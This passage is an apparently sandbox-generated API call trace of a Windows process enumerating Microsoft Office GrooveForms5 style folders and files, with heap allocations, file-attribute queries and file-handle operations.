RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.537] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.537] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eef8 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ee58 [0069.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.538] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ef18 [0069.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ef60 [0069.539] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.539] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.539] GetLastError () returned 0x12 [0069.539] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.539] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.539] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.539] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.539] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.539] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.539] GetLastError () returned 0x12 [0069.539] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.539] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.539] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.539] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.539] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="")) returned 1 [0069.539] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0069.539] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.540] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.540] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x106dbc0 [0069.540] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.541] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.541] NtClose (Handle=0x190) returned 0x0 [0069.541] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.541] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.541] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.541] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.541] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0069.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.541] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.541] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.542] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.542] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ef38 [0069.542] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f068 [0069.542] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3b40) returned 0x106dbc0 [0069.542] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1075110) returned 1 [0069.542] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.542] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.542] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.542] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.542] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.542] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.542] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ef58 [0069.542] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f170 [0069.543] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.543] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.543] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ef78 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f278 [0069.543] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.543] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.543] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ef98 [0069.543] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f380 [0069.544] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.544] GetLastError () returned 0x12 [0069.544] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.544] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.544] GetLastError () returned 0x12 [0069.544] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.544] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.544] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.544] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beige.css", cAlternateFileName="")) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0069.544] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.545] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.545] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1071708 [0069.546] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1071708, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1071708, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.546] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1071708) returned 1 [0069.546] NtClose (Handle=0x18c) returned 0x0 [0069.546] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.546] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.546] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.546] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.546] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.546] RtlAllocateHeap (HeapHandle=0xf70000, 